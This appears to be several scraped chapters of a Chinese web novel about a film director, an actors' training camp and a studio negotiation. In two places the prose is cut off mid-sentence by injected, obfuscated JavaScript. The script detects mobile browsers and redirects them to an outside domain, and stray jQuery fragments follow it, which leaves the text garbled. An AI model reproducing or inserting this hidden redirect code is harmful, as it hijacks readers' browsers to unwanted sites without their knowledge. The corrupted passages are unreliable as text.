沈愚无奈,笑了笑:“行,那就看你集训之后的成果吧。” 赵苇航郑重地点了点头,两眼放光,却又只能小心翼翼地问:“能请您签个名吗?” “啊?” “我带了笔!” 赵苇航真从裤兜里掏出了一支黑色马克笔。 这回,换成沈愚困惑了:“你散步都随身带笔吗?” “我去超市买水的时候,刚好买了支,是打算期末复习的时候用的。”赵苇航不知为何,眼神有点躲闪。 但沈愚的注意力都在那支笔上,并没有看到,他没有细想,点点头:“哦,你还在上学。” “和您一个学校,算起来,我也是您的学弟。”赵苇航又将双手朝前递了下,满眼期待,沈愚没好意思拒绝,就签在了他的短袖上。 8. 第 8 章 这不是沈愚第一次给别人签名。 名声在外,长得不赖,多多少少有点粉丝。这事儿,沈愚清楚。他拍摄外景、路演宣发,又或者参加各类活动,散场的时候,也会有零星的几个人找他要签名。比不得那些炙手可热的当红明星,但也不至于无人问津。 沈愚对此没多少感觉。 坏就坏在,赵苇航拿到签名后,还说了许多感谢的话。沈愚看似认真地听了半天,实际上只听进去了一句话—— 他这是第一次在非正式场合给人签名。 沈愚仔细回忆了一下,好像真是这样。 “你觉得这意义非凡?”他问赵苇航,年轻人露出一个灿烂的笑容,郑重其事地“嗯”了一声。 沈愚若有所思。 虽然他不认为这一件多么了不得的事情,但由此却可以得到一些启发。比如说,脱离知名大导演的光环,他本人能带给对方的意义。 沈愚难免想起他平庸的籍籍无名的28岁。 赵苇航和他道了别。 沈愚友好地和这人握了握手,就独自回家。 今天没有露天演出,人也没有那天多,当然,最重要的是,他没能偶遇陈晖。 沈愚有一点点小小的失落。 他上了台阶,走到街边的红绿灯处,准备到对面的公交站台去。这个地方他不常来,不是很熟悉,人影寥寥,草木青青,白日的喧嚣退去,只留下黑夜的宁静。 沈愚有点饿了。 他去最近的超市买了个面包和一瓶酸奶。 这家超市开了有些年头了,门面有点老旧,装修也很过时。一个大爷叼着根烟,穿着双拖鞋,坐在收银台里边,乐呵呵地听着曲儿。听那唱腔,应该是《醉打金枝》。 “你好,结账。” 沈愚将东西放下,大爷就瞥了眼,指了指旁边的收款码:“五块钱。” 沈愚掏出手机,扫码付款,而后,他看见收银台后面不起眼的角落里,贴了张泛黄的海报。 三男一女。 是一个乐队。 女孩青春靓丽,男孩各有特色,可沈愚的目光只落在了最前面,那个抱着吉他的年轻人。 那张脸,有着独属于那个年纪的恣意张扬,清秀的眉眼间满是笑意,那股清澈的爽朗的气息从他身上散发开来,哪怕仅仅是看着,就令人心生愉悦。 那是20岁的陈晖。 沈愚不禁莞尔,可笑完,心里那淡淡的失落感又加重了些。于是他收好东西,准备离开。 转过身的那一瞬间,沈愚忽然又退了回来,问那大爷:“老板,那张海报卖不卖?” “啊?”大爷还不知道他说的是什么,直到沈愚指了指斜对面的小角落,他才反应过来,笑着:“这个啊,这是我女儿小时候贴的,不卖。” “哦哦,好的,麻烦了。”沈愚敛了神色,匆匆赶车回去了。 到家后他洗了个澡,在床上躺了一会儿,就打开电脑,看看有没有需要处理的工作邮件。 没有。 沈愚就点开了那个集训计划表,照着日程,准备了些材料,在十一点半准时睡觉。 很快就到了集训的日子。 一大早,沈愚就收拾妥当,打车去了公司。 他的下一步电影,是部文艺片,背景是上个世纪末的北方林场,预计在元旦开机,夏至结束,集训时间也相对较短,而且并不是封闭式的,更像个课外辅导班,按时按点来上课、写作业、交作业。 当然,想请假也可以,不来也行。 总而言之一句话——这次的项目很松散。 这和沈愚以前精益求精的形象不太相符。 但大导演嘛,总有些常人不一样的思维方式,没人会去深入探究,只要最后能赢下口碑,挣到钱,谁会管那么多曲折的过程呢? 陈晖背着个单肩包到这儿的时候,屋里已经站满了来报到的人。他张望了两眼,心想,这么多人都是来集训的?他就是跑个龙套,也要和主角一个训练强度吗? 陈晖满脸困惑地去签了到,领了张类似于工牌的东西挂在脖子上,然后就又钻角落里去了。 “哎,是你呀!” 不知道是谁叫了他一声,陈晖回头一看,眼前站着个长相憨厚的男生,乍看之下,和屋里那些出挑的竞争对手有些格格不入,但也算不上丑,自带亲切可爱的滤镜。 陈晖愣了愣,没想起来他是谁,结果对方很自来熟地介绍着:“是我呀,那天你没认出来沈导,还是我告诉你的呢。” 陈晖恍然:“哦,你就是那个,那个——” 那个谁? 陈晖笑笑,果断伸出手:“我叫陈晖,你好。” “丁奇。”那人爽快地和他握了握手,就也往他这边站了站。 “你面试的是哪个?”丁奇问着。 “一个龙套吧,就说需要会唱歌的。” “哦,我面试的是男二。” “啊?”陈晖有些惊讶,他对男二的刻板印象就是长得好看的冤大头,括弧,各种方面,括弧完毕。 丁奇笑笑:“具体我也不清楚,但是看面试条件我都符合,就壮着胆子上了,没想到通过了。” “哦哦,那你演技一定很好。” “我是A大表演系的,今年大三。”丁奇自报家门的时候,陈晖就知道他不简单。 A大表演系每年只招30个人。 “你好厉害啊,一定能过。”陈晖真心实意地感慨着,他这种门外汉就是纯纯分母,估计没几天就要打道回府。但一想到能亲眼见证神仙打架,他觉得这回来得也很值。 丁奇只是笑,说了声“谢谢”,就没别的了。陈晖也没多话,看着周围光鲜亮丽的男男女女,放空了自己的大脑。 没多久,沈愚就来了。 他还是穿着面试时那套白衬衫,看上去尤为惹眼,陈晖隔着人群看过去,外头的日光恰好穿过窗户洒进来,落满沈愚肩袖,衬得他整个人都在闪闪发光。 陈晖眼前一亮,就听那人说:“大家好,我是沈愚,非常感谢各位能来参加这次集训。” 沈愚说话很温柔,像黄昏时分,在太阳底下打盹的小猫咪。 陈晖被自己匪夷所思的想法逗笑了,以至于后来沈愚说的话,他没听进去多少,当然,也都是些场面话,没有几个实质性意义,陈晖不太爱听。 他盯着沈愚看,觉得那人优雅大方。 如果表里如一的话,离开时写首歌纪念一下。 陈晖从沈愚身上得到了一点微妙的灵感。 虽然说他不喜欢演戏,可这也是难得的新鲜的体验。 “今天是第一天和大家见面。” “以后还会有很长一段时间的相处,希望我们都能拥有一段难忘的回忆。” 沈愚说着,就邀请他们去了一个更大的活动室,里面铺了地毯,打扫得很干净,所有人就地而坐,像是郊游的小学生。 沈愚坐在最前面。 “今天没有特别的活动,主要是想和大家聊聊各自的想法。” 陈晖明白了,这就是上学第一天,班主任让所有人轮流做自我介绍。 他抱着自己的背包,悄悄靠在了墙角。 对这种事,他不是很关心。 第一个站起来的,是男一号候选人,也是本次最有机会出线的某位。 丁奇在一边耳语,像在尽心尽力给他开小灶。 不过陈晖左耳朵进,右耳朵出,礼貌性地点点头,实际上真的没有在听。 不过男一号气势挺足的,势在必得的样子,沈愚听完他那一大串履历,没有太多的表情波动,只是微微点了个头。 “他是童星出身,名气很大,粉丝基础也很牢固,这次来参加集训,外边的舆论早就炸了好几波了,要是这次能选上,他的身价又要翻好几倍。” 丁奇说得特别小声,只有他和陈晖两个人能听见,陈晖只顾着点头,实际上并不在意。 后面的几个人,都是新人,甚至是素人,连真正的舞台都没登上去过。自我介绍的时候明显拘束许多,不过也可能确实是无话可说。没有漂亮的履历,也没有吸引眼球的特长。 沈愚同样报以一个温和的笑容,问了些简单的问题,顺便鼓励几句不要紧张的话。 接下来的是一个流量小花。 据说是今年刚出的大爆古偶的女一,正是风头正盛的时候。 小花长得很耐看,实力也不错,对沈愚也算客气,听她的语气,应该也是胸有成竹,信心满满。 沈愚问她:“那你认为,演古偶和演现代剧,哪个更难一点呢?” “当然是古偶了,我为了那部剧专门去上了三个月的文化课,还有礼仪课。” 小花一脸自豪,沈愚没有反驳她,小花便默认他是赞同自己的观点,高高兴兴坐下了。 再往后,有几个出道了几年,但一直不温不火的娱乐圈“老人”,还有些和丁奇一样,正儿八经科班出身的年轻人。 陈晖听着,忽然有点打瞌睡。 他不想让别人知道自己的过往。 可该来的总会来。 对上沈愚目光的那一刹,陈晖有点慌张,他很简洁明了地说了句:“大家好,我是陈晖。” 接着就没了。 沈愚问他:“你认为,演现代剧难吗?” 陈晖:“……” 这是什么问题?他哪儿会啊?他连一句完整的台词都说不明白。 陈晖很为难,想了半天,回答道:“难,很难。” 对他来说,演什么都很难。 陈晖眼睛一闭,想起之前的表演老师对自己的评价,他说:“因为你演的都是身边的人,是日常生活中最常见的普通人,这种反而是最难演绎的,因为经常见到,所以最容易忽略。一些细节你根本不会去揣摩,去深思,这就会让你漏洞百出。” 陈晖认真回忆下,说着:“你永远是在模仿,而不是完全变成了另一个人。” 沈愚听了,轻轻笑了声:“是哪位老师教你这么说的?” 陈晖有种被看穿的窘迫,可他也只能干笑两声,如实回答:“以前一个教我表演的老师说的,他说,我就是那个连模仿都不会的差生。” 屋里断断续续起了些哄笑声。 可沈愚没有笑,他沉静如水的眼睛就这么直勾勾地盯着陈晖,好一会儿才慢慢垂下眼帘,微微点了个头。陈晖如释重负,一屁股坐了下来。 后面就是丁奇了。 他也是个新人,这回报名,纯粹是来凑热闹。他本人更喜欢话剧,以后的目标也是做个话剧演员,但沈愚的电影他也看过,确实是个很有天分也很有想法的人。 秉持着怎么着都得见一见这位圈子里公认的天才的想法,他就报名了。 丁奇看着就是个很爽快的人,沈愚没有向他提问。 等这一圈“自我介绍”完毕,小刘发给每个人空白的A4纸,布置了这周的安排和留下的作业。 大意是会先上五天基础课,第六天时要四人一组,完成一个五分钟的情景剧。 “啊?”丁奇有点困惑,“直接打乱了吗?我还以为是按照男一男二女一女二这种呢。” 不过再细细想来,这样分也算合理。 因为竞争最激烈的男女主,候选人就多达十来个,剩下的主要角色也不少,戏份越少反而就没那么多人竞争了。 比如说陈晖这个龙套,就三个人。结果另外两个听说还要集训,索性就不来了,去参加什么综艺选秀,准备打投出道。 陈晖半天都没想明白沈愚的用意,丁奇在一边科普他也没听进去,只知道如果自己不能让大导演满意,就算只有他一个人,也会被直接砍掉,换另一个人顶上。 “龙套要多少有多少,这么大的项目,随便抽两个人都能顶替你。”丁奇谆谆教导,陈晖似懂非懂地点着头,根本不知道接下来要干嘛。 沈愚却在这时开了口:“集训里,所有的课程都是免费的,我的搭档为大家请来了很优秀的老师,希望你们每个人都能在此有所收获,提升自我。” “也许有人会觉得,自己只是跑个龙套,为什么要上这么多课,学这么多东西。但我认为,学到了就是自己的,即使这次用不上,以后也能从中受益。” 他顿了顿:“每个人都是自己人生的主角,只有你自己才知道,你究竟需要什么,要成为什么样的人,要开启怎样的人生。如果你真的怀着要成为优秀演员的梦想,那么从今天开始,就要全力以赴。” 陈晖觉得他话里有话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705246|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >好想问问大导演,如果是迫于生计,被逼无奈才来集训的,会不会挨骂。 陈晖抖了抖手里的A4纸,莫名在想,沈愚一定是那种很热爱导演的工作狂,因为天才和勤奋密不可分,能达到他那样高度的,一定又有天赋又很努力。 陈晖想着,来都来了,可不能让人瞧不起。 但这种捧高踩低的事情在圈子里很常见。 陈晖也做足了准备。 他将那张A4纸叠好,和丁奇一同搭公交车回家。 说起来,丁奇比他小七岁,但两个人挺聊得来的,站在一块,气场也相合。 两个人很快熟络起来。 比起陈晖那跌宕起伏的青春过往,丁奇的人生可以说一帆风顺,喜欢话剧就顺利考上了A大,想来一睹沈导风采,就真进了集训。 幸运又可爱。 陈晖艳羡,但也没有很失落。马上就会有一个新朋友的认知,仍然带给他无限的喜悦。 丁奇要坐的那班公交车先到了,他说:“我先走了啊,回头我翻一翻我的教材,发电子版给你,你先看看,说不定会有启发。” “好,谢谢。”陈晖笑着和他招招手,和人道别。 陈晖坐的那路公交车,班次比较少。因为那里是老城区,到这儿就比较偏了。 陈晖坐在站台的长椅上,眺望着远处的落日。太阳就要下山了,像一只熟透了的柿子,远远地嵌在高楼大厦的缝隙中。 好看,漂亮。 就是听着耳边车水马龙的声响,心里面有种空落落的感觉。 要是今天背着吉他来就好了。 陈晖有些懊恼,这样的话,他就可以顺便去江边转一转。 然后他就看见沈愚朝着这边的公交站台走了过来。 陈晖大脑有点转不动了。 他开始觉得远处的夕阳晕开一层又一层的光晕,像水面铺开的涟漪,正一圈又一圈将他包围,使他头晕目眩,使他昏聩欲睡。 陈晖愣了会儿,就下意识摸了摸头顶,很好,没有戴自己很喜欢的那顶鸭舌帽。 沈愚就要走过红绿灯了。 陈晖又止不住在想,大导演应该不记得他这种小喽啰吧,只要自己装作不认识就行。 可明明前几天才一起吃了薯片。 哦对。他的那一袋零食都被人顺走了。 陈晖还在想入非非,沈愚已经到了这边。 他并没有很意外,小声叫着:“陈晖。” 陈晖心里咯噔一下,抬起头,露出一个标准的微笑:“沈导。” 沈愚本来就是要坐公交车回家的。 他婉拒了江恕今晚请客吃饭的提议,打算早点回家休息。 他今天很高兴,要一个人待着,好好消化一下这些躁动的情绪。 可是又见到了陈晖。 沈愚没想到他也坐这条线,暗暗记下,这样又多了几个偶遇的门道。可人生不能全靠偶遇,总要有那么个契机,拉近两个人的距离。 要怎么办呢? 沈愚观察了一会儿陈晖,对方却以为他在审视自己,不由地紧张起来。陈晖不是个憋得住话的人,他直言道:“怎么了吗?” 沈愚摇摇头:“没怎么。” 没怎么那干什么老盯着我? 陈晖想不通,难道是今天他的慷慨陈词,打动了沈导?不能吧,沈愚是谁?什么场面没见过?还会在意他这点临阵磨枪的小把戏? 陈晖琢磨半天没想明白,就听沈愚说:“上次谢谢你。” “上次?”陈晖又怔了怔,沈愚莞尔:“散步的时候。” “哦,你是说那袋零食啊,没事儿,不用客气。”陈晖还带着点以前做主场时那种骄傲自信的劲儿,完全没有此刻已经落魄了的自觉,甚至还说你要喜欢,下次我再给你带。 说完,他才猛地想起来现在两个人的身份地位天差地别,有点红了脸。 好在他这健康的小麦色的皮肤并没有出卖他,沈愚一时也没看出来,就应着:“好,谢谢你。” 沈愚的眼睛黑白分明,眼窝也深,睫毛下垂的时候自带一种忧郁气质,非常符合陈晖的某种刻板印象。 一看就是主角的那种类型。 陈晖光顾着神游天外了,就忽略了先前的尴尬,点点头:“不客气,天天开心哦。” 这是他很多年前,散场时的口癖。 聚光灯下,他会真挚地祝每个到场的听众生活愉快,幸福美满。 沈愚忽地一愣,思绪就被拉远了。 他有一回,买到了签售会的门票。 那是陈晖的乐队第一次办签售会。 也是最后一次。 唯一的一次。 刚刚有了点声色,就要马不停蹄开辟市场。签售会只放了五百个名额,很快就被一扫而光。沈愚费了好大劲才抢到一张,就背着个老旧的书包过去了。 他那时候不爱打扮,只求干净、整洁,再戴上一副眼镜,看上去并没有现在那么引人注目。 他近视度数不深,可习惯性戴着眼镜,这样会显得他比较有信服力。但陈晖可不这么觉得,因为他记不住没特点的人。 那次签售会上,陈晖如沈愚所愿,热情洋溢地在他背包侧面签了句:“祝您生活愉快。” 那时候的沈愚,没有求事业如日中天,也没有求否极泰来,声名远扬。 他只希望自己开心点。 见到陈晖的时候,他心里压抑许久的阴霾,就慢慢地,一点一点散去了。 沈愚从回忆中缓过神,见陈晖一头雾水的样子,就知道自己发了有一会儿的呆,笑笑:“谢谢,集训加油。” “哦哦,好的。”陈晖连连点头。 公交车到站了。 陈晖先站了起来,朝他招招手:“走了啊,沈导,明天再见。” 他以为沈愚明天还来。 可实际上沈愚明天有别的工作,是不来的。 但听了这话,某人还是点点头,笑着:“好,明天见。” 陈晖坐到了靠窗的位置,又朝他招招手,再次说了声“拜拜”。 “嗯,再见。” 沈愚目送着那辆公交车驶离站台,然后打开手机,看了眼日程表,悄悄在“开会”那栏下面加了一句“见面”。 9. 第 9 章 陈晖到了家,没多久就收到了丁奇发来的一大堆压缩包。他一边搓着头上的洗发水泡沫,一边点开,随便选了个什么《演员艺术语言基本技巧》,瞥了眼,就有点头晕了。 “看着好麻烦。” 陈晖嘀咕着,随便冲了冲,就从浴室里出来,套上干净的睡衣,把头发吹了半干,就骨碌往床上一滚,有模有样地钻研起来。 丁奇告诉他,这些书籍都按顺序排好了,他可以挨个儿往下学。陈晖发了个“谢谢”的表情包,得到了丁奇的一句“晚安”。 “唔……” 陈晖点开第一本,叫什么《台词基础课》,他跳过前面的概论,直奔台词训练的基本内容。 “呼吸发声。” 陈晖柔软的头发在床单上蹭了蹭,歪着脑袋仔细看。 “胸腹式联合呼吸法。” 陈晖灵机一动,这和他从前练歌的方式应该可以融会贯通吧?他坐起身,开始照着书本上,一板一眼地练习起来。 月上中天,寂静无声。 沈愚准备好第二天开会要用的材料,就洗了个澡,钻进了被窝。打开手机,江恕不知道又在发哪门子的疯,给他连发了十几条消息,大意就是让他明儿打扮得好看点,别让对面看低。 沈愚:“?” “你终于回我了?我还以为你在家猝死了呢。”江恕很明显吃了炸药,正在进化成活火山的路上,沈愚很疑惑,但想到江恕也许是谈合同的时候不顺利,就大发慈悲地关心了两句:“你怎么了?被你的合作对象摆了一道?” 他揉了揉眼睛,有点困了,但这么一小会儿,他就想起来,这段时间,江恕只有一个项目要谈合作,对接的公司就是天星传媒。 沈愚顿时不困了,刚要问江恕怎么回事儿,对方就说:“也没有,就是他们公司派来谈合同的代表,太端着了,非常讨人厌。” “哦,你说他讨人厌,而没有直接骂他是个傻逼。”沈愚若有所思。 “艹,你什么意思?” “你以前闹分手,对前任的形容都是‘讨人厌’。” 沈愚再怎么迟钝,也跟江恕共事了好几年,对这人的脾气也摸了个七七八八。而且,可能是工作的原因,沈愚在某些方面反而更敏锐。 比如说一些惯用语上。 江恕那边登时熄了火,最顶上那行“对方正在输入”,反反复复地出现、消失。 沈愚切换页面,找到了自己以前的笔记。 他想,要不要给陈晖发过去。 但是…… 沈愚复制了陈晖的电话号码,点开微信搜索,果不其然,该用户不存在。 看来除了短信,是联系不上他了。 沈愚想了想,聊天框下滑,翻到了小刘。 集训一般是有群的,方便管理,但按照惯例,沈愚不参与这些。 他犹豫了片刻,还是问了小刘,能不能把他进群。 “沈哥打算暗中观察吗?”小刘性格好,也是沈愚一手带起来的,有时候就会和人开开玩笑。 “嗯。”沈愚怪不好意思的,但没多做解释。小刘就拉他进群,还贴心地告诉他,群里要求实名,但如果他暂时不想公开,也可以给他一个马甲。 “好。”沈愚不由感慨,小刘比江恕靠谱得多。 很快,小刘就给了他一个管理,并将他的群昵称修改为“导演助理”。 “你不用发言,其他人我已经私下说好了,一定给你捂好了。” “谢谢。”沈愚不用想都知道,小刘这会儿一定在笑。 “没事儿,沈哥,这个群不聊天,你也不用担心会影响你的判断。” 沈愚莞尔,依旧说了声“谢谢”。 “哈哈,那我收下了,我先去睡了啊沈哥。” “好。” 切掉小刘的对话框,沈愚又在群里翻了翻,找到了“陈晖”两个字。 头像是一个弹吉他的人。 脖子以上的部分已经被截掉了,只留下一把吉他和按着琴弦的双手。 沈愚敏锐地捉到了这些信息要素。 那个抱着吉他的人,穿了件白色的,印着蓝天大海的圆领衫,脖子上挂了一根银色的吊坠,或者说,是一根银链上套了个,戒指? 沈愚确信这个头像是陈晖本人,对那个戒指也十分眼熟,但他一时半会儿想不起来是什么了。 他只有个模糊的印象,这好像不是个戒指。 沈愚从他的过往中一点点搜寻,就在此时,他收到了江恕的回复。 “天星那边派来的代表,是我初恋。” 沈愚:“……” 有点意外,但放在江恕身上,又好像就那么回事儿。 “哦。”沈愚无言以对。 “哦什么哦?”江恕炸毛了,“明儿你一定不能给我丢脸,懂吗?要是被他嘲笑,我就先掐死你。” 沈愚:“……” “你老发省略号什么意思啊?” “你这个人生经历,如果拍成电影,我看都不会看一眼。” 江恕:“……神经。” 沈愚嘲笑归嘲笑,但也没真的往心里去,江恕又发来一长串消息:“明天我会早点去接你,你最好别让我失望。” 沈愚想了想:“你初恋,是个惊天动地的大帅哥?” “那当然了,我的眼光怎么可能会差?” 沈愚很无奈:“其实我觉得没必要,你越是这样,越代表你在意他。你与其在这儿拧巴,不如早点放下。” “放下?你让我放下?你放下你初恋了吗?咱俩大哥不说二哥!” 沈愚揉了揉眉心,感觉大脑有点痛,江恕现在就纯纯 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沈愚睡了一大觉,醒了还在想,npc今天也要开始工作了,可万恶的资本家并没有给他加工资。 他又去冲了个澡,干净清爽地穿好衣服,梳好头,再挑个香水点在耳后。 不到五分钟,江恕就在按门铃了。 沈愚一开门,差点以为他俩是要去参加颁奖典礼。 江恕真的一副精英打扮,甚至给自己抹了点发蜡。 沈愚欲言又止,最终还是没说出口,江恕上下打量了他两眼,就说先去吃饭,回头再去公司,全然不提昨晚的事情。 江恕一直这样,以为过去了,就是过去了,也不会道歉,不会说对不起,他认为成年人解决问题就是这样,缄默不言。 可沈愚一直觉得江恕很割裂,如果不是切身体会,他真的无法将在生意场上游刃有余的新秀,和随时随地都可能发疯的某人联系在一起。 江恕能走到今天,很大程度上是因为他有个首富爹,但变成今天这样,也是如此。 沈愚搞不明白这些豪门恩怨,所以总是会习惯性地忽略。但他知道,迟早有一天,所有的矛盾都会爆发,就像故事发展的必然结局。 但现在的他,也只是点点头,没有异议。 上了车,江恕和他再对了下合同内容,确定没问题后,就不再说话了。沈愚不想再刺激这位大哥,所以就算再好奇,也没有表现出来。他打开手机,置顶了那个群聊,就看见小刘已经艾特全员,让今天来集训的所有人活动室集合了。 沈愚看着接龙的“收到”,还是精准发现了陈晖。不知道为什么,光是看到他心情就很好。 沈愚深吸一口气,又缓缓呼出来,望向车窗外鳞次栉比的高楼大厦。这座城市已经从黑夜中苏醒,车水马龙,繁华喧嚣,迎着夏日的热浪,再次扬帆起航。 10. 第 10 章 沈愚和江恕踏进会议室,是早上九点,距离约定的时间还有半个小时。秘书早早把茶水准备好,电脑投屏什么的,也一切就绪。江恕坐在左边第一排第一个位置,沈愚挨着他坐,后面还有两个是公司策划。沈愚瞄了眼名牌,都不太熟悉,应该是这两年刚进公司的新人。 他们来得有点早,两个人也无话可讲。江恕既没有玩手机,也没有干别的,就巴巴地坐在那儿。沈愚见他这模样,就随口说着:“开完会你什么安排?” “不知道。” “我要去看看集训。” “突击检查啊?那也太早了。” “反正没什么事。这段时间比较闲。” “闲吗?那我给你找点事做?”江恕偏过头,瞟了他一眼,“话说回来,我都忘记问你什么想法了。” “和天星的合作?” “对啊。” 沈愚沉思片刻:“老实说,这个项目,我很感兴趣。” 天星传媒打算明年下半年,和他们公司合作拍摄系列电影。主题是悬疑推理,计划先拍三部,打造一个全新的原创ip。但其实以现在的市场,做原创ip是比较难的,没有原作粉丝的加持,又或者原作相对沉寂的话,前期开拓会很难。基础流量不够,后续工作再有偏差,比如说宣发不到位,档期竞争太激烈等等,电影很容易沉底,等于是钱砸进去都听不到一个响。 但沈愚本就是做原创出身的,这种大胆又有魄力的项目倒是很吸引他。而且他看了一部分天星提供的剧本,认为那位编剧应该是个十分有想法的人。 这也是他今天会出现在这里的重要原因之一。 江恕听了他一番长篇大论,默然片刻,道:“原本天星传媒和我们这边谈得也差不多了,但这两天,忽然换了个项目负责人,他全权接手后,就要求插手演员选拔。而且,大概率是要他们内部出人。” 沈愚明白了他的顾虑:“如果是这样的话,确实不好办。” “我听那个负责人的意思,是要你做导演,他们那边出人,”江恕说着,很不屑地哼了一声,“拿我们当跳板,想都不要想。” 沈愚微微点头,就见门外又进来两个人。 “江总,沈导。” 是那两个策划,江恕和他们打了个招呼,沈愚也报以一个友好的微笑。四个人按序坐好,又寒暄了几句。没多久,秘书就带着天星传媒的几个人来了。 江恕起身,站在最前头,和那位负责人握了握手:“梁总。” “江总客气了。” 那人生得高大挺拔,眉眼俊朗,举手投足间,有种逼人的压迫感,随便走在大街上,都会让人移不开眼睛。 江恕的初恋确实比他后面的那些对象好很多,怪不得他会这么暴躁。 沈愚略略思索,那位梁总已经走到他面前:“您好,我是梁彬。” “沈愚。” 梁彬的目光在他身上停留了一瞬,沈愚几乎是在同一时间,捕捉到了他眼神中,那微妙的略带探究的意味。 沈愚没有表态。 两个人就像完全没有注意到对方那样,各自坐下。 江恕让秘书做会议记录,接着就开门见山地说道:“梁总,贵司上次的提议,我们这边已经重新做了测算……” 他分析了一番,大致和沈愚听到的差不多,最终的落脚点,也是在演员人选上。 江恕直接拒绝了梁彬要加入演员选拔的提议,并表示,天星送人过来,可以,但能不能进,要他们这边说了才算。 梁彬听了,并没有急于发问,而是说道:“江总的顾虑,我们都能理解,毕竟谁也不想把到手的香饽饽拱手让人。但这次的项目,一是制作周期长,前期投入大,谁都不希望成本回不来。二是我们这边主营的业务,就是电影和电视剧,现在正是扩大自身影响力的时候。这次合作也是奔着这个目的来的,如果一套流程下来,只给我们贴上幕后工作者的标签,江总不会觉得不合适吗?” “打铁还需自身硬。如果贵司的艺人十分优秀,又怎么会拿不到名额呢?还需要带资进组吗?” 江恕这话说得就有点阴阳怪气了,沈愚有些诧异。 他一向认为江恕公私分明,并不会将个人情绪带入工作中,但这次明显有些出格了。 一边的两个策划也意识到了这一点,忙着打圆场,话里话外,无非就是暗示江恕和气生财。 江恕听得懂,便没有再咄咄逼人。梁彬却一脸意料之中的表情,说话也不急不缓的。他再次陈述了一遍天星在艺人培养方面的优势,甚至拿出了近五年来,两家各自的成绩表单。 “这是近五年来,各大颁奖典礼、网络票选、还有各大平台的流量数据。” 梁彬一人给了份纸质版,沈愚打开一看,都是两家获得的荣誉对比。他翻开第一页,就看见了他五年前第一次获得最佳导演奖时的那部作品,还有当时的男女主。 都签了天星? 沈愚没太关注过这些,演艺圈因为合同闹崩是常有的事情,上到影帝影后,下到无名小卒,都有这种可能。区别只在,顶端的人各有各的解决办法,底层的,连个水花都翻不起。 天星在前几年一直都不温不火,这两年才弯道超车,风头正盛。江恕选择和他们合作,本来是抱着强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705248|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强联手的心思,可现在,恐怕是冤家路窄。 “沈导觉得怎么样?”梁彬笑着,像是换了副面孔。 沈愚想了想,说着:“贵司实力雄厚,如果愿意屈尊降贵,与我们合作,我们倍感荣幸。” 梁彬听了,笑道:“沈导是个很有想法的人,我这次来,一是真心想与贵司合作,二是,” 他顿了顿,饶有兴味地说着,“特意来见见沈导。” 沈愚感觉江恕的气压低了不止一个度。 “梁总说笑了。” 他一点表情都没有,在得罪梁彬和今晚就被江恕烦死之间,他选择了将手里那份表单合上,直接装死。 梁彬也没有为难他,转而继续和江恕商谈起来。 沈愚没有仔细听。 他们掰扯许久,只为了那百分之十的权重,可到了中午也没有谈拢。会议暂停,江恕请天星的人一起去吃饭。沈愚说下午有点事要出去一趟,推了那顿饭局。 江恕也没有强留,梁彬也识趣地先走了,说在吃饭的地方恭候江总大驾。江恕听了来气,但又不好当着这么多人的面发作,只是客套了几句,就送沈愚下楼。 当然,也是有话要说。 “你去哪儿啊?”江恕揉揉眉心,看上去是吵得头疼,沈愚很实诚地说:“去集训那边啊,开会之前和你说过的。” “有这事儿?我怎么没印象?” “没印象?我梦里和你说的?”沈愚也有点奇怪,掏出手机准备翻翻聊天记录,后来一想,他们是当面说的。 完了,自己也开始头脑不清醒了。 沈愚拿着手机,装模作样地发着呆。江恕不知道他在想啥,只觉得心烦,一把按住他:“行了行了,我又不是不让你去。” “你要对我发牢骚啊?” 江恕:“……你不觉得你有时候太直接了吗?” “可含蓄一点也没有用,你想说还是会说的。” 江恕:“……” 沈愚见状,准备打车了。江恕手一伸,胳膊卡住他的脖子,像是要和他打架。可沈愚动也不动,说着:“江恕,你不能被梁彬乱了阵脚,今天我听了一圈下来,你差点把自己绕进去。” 江恕闻言,胳膊一松,就很沉默地站在了一边。沈愚打完了车,距离司机到达还有五分钟。他看了眼江恕,说着:“我会赶在你们结束前到公司。” “你不用回来了,我晚点告诉你情况。” 江恕头也不回地走了,沈愚也不知道他顶着张什么样的臭脸。 但愿他们俩相安无事吧。 沈愚将手机放进兜里,就离开了公司。 11. 第 11 章 第一节课要台词摸底。 陈晖有点意外,但转念一想,又觉得很合理。集训的每个人本来就参差不齐,老师这么做,会更能了解他们的情况。 陈晖看了眼手上的台词本,是截了一小段的《雷雨》和一个绕口令。 “八百标兵奔北坡。” 他只在看综艺的时候看到过这些东西。 念不好的话,应该会很有节目效果吧? 陈晖忍俊不禁,没想到,下一秒就被点了名。 “陈晖,你先来吧。” 老师手里拿着一份名单,正巧点到了他。陈晖懵了下,“腾”地一下站了起来,整个人绷得紧紧的,那台词老师愣了愣,莞尔,点头示意他可以开始了。 “八百标兵奔北坡,炮兵并排北边跑,炮兵怕把标,标兵碰……” 念到第三句的时候,陈晖就开始卡壳了,到后面读得越来越艰难,口误也越来越多。他深吸一口气,慢慢放缓语速,才勉强完整、准确地念完。 “好,下一位。”老师给了他一个鼓励的目光,陈晖不好意思地笑了笑,低头坐了下来。 下一个是男一候选人。 陈晖没记住人家的名字。可对方气定神闲地坐着,不费吹飞之力就念完了那个绕口令,字正腔圆,游刃有余。 实力的差距顿时具象化。 陈晖哑然,心想,这人可真厉害啊,不愧是童星出身,老演员了。 